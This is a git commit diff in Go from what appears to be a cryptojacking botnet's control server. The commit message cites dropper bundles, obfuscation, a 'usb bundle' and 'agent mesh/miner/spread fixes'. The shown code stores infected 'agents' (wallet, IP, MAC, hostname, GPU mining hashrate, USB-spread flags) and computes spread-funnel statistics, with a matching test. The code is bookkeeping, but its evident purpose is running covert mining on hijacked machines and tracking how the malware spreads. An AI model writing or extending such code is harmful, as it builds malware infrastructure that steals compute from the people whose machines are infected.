fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -35,6 +35,7 @@ func (d *Database) scanAgent(row interface {
a := &models.Agent{}
var notes, tagsRaw string
var usbSpread int
var gpuMinerActive int
err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
@@ -43,6 +44,7 @@ func (d *Database) scanAgent(row interface {
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread,
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
)
if err != nil {
return nil, err
@@ -50,13 +52,17 @@ func (d *Database) scanAgent(row interface {
a.Notes = notes
a.Tags = decodeTags(tagsRaw)
a.USBSpread = usbSpread == 1
if gpuMinerActive == 1 {
active := true
a.GPUMinerActive = &active
}
return a, nil
}
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread`
build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -74,3 +74,34 @@ func TestUpdateAgentMetaClearsTags(t *testing.T) {
t.Fatalf("tags not cleared: %v", got.Tags)
}
}
func TestUpdateAgentGPUStatsRoundTrip(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "gpu-roundtrip")
if err := d.UpdateAgentGPUStats("gpu-roundtrip", 12.5, "RTX 4090", true); err != nil {
t.Fatal(err)
}
got, err := d.GetAgent("gpu-roundtrip")
if err != nil {
t.Fatal(err)
}
if got.GPUHashrate15m != 12.5 {
t.Fatalf("gpu_hashrate_15m = %v want 12.5", got.GPUHashrate15m)
}
if got.GPUModel != "RTX 4090" {
t.Fatalf("gpu_model = %q want RTX 4090", got.GPUModel)
}
if got.GPUMinerActive == nil || !*got.GPUMinerActive {
t.Fatalf("gpu_miner_active = %v want true", got.GPUMinerActive)
}
list, err := d.ListAgents()
if err != nil {
t.Fatal(err)
}
if len(list) != 1 || list[0].GPUHashrate15m != 12.5 {
t.Fatalf("ListAgents GPU: %+v", list)
}
}

View File

@@ -18,7 +18,7 @@ type SpreadFunnelStats struct {
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= ?`, since).Scan(&stats.NewConnectsToday); err != nil {
return nil, err
}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {

View File

@@ -20,8 +20,9 @@ type Database struct {
func New(dataDir string) (*Database, error) {
dbPath := filepath.Join(dataDir, "miner.db")
// Ensure directory exists
os.MkdirAll(filepath.Dir(dbPath), 0755)
if err := os.MkdirAll(filepath.Dir(dbPath), 0755); err != nil {
return nil, fmt.Errorf("create data directory: %w", err)
}
db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
if err != nil {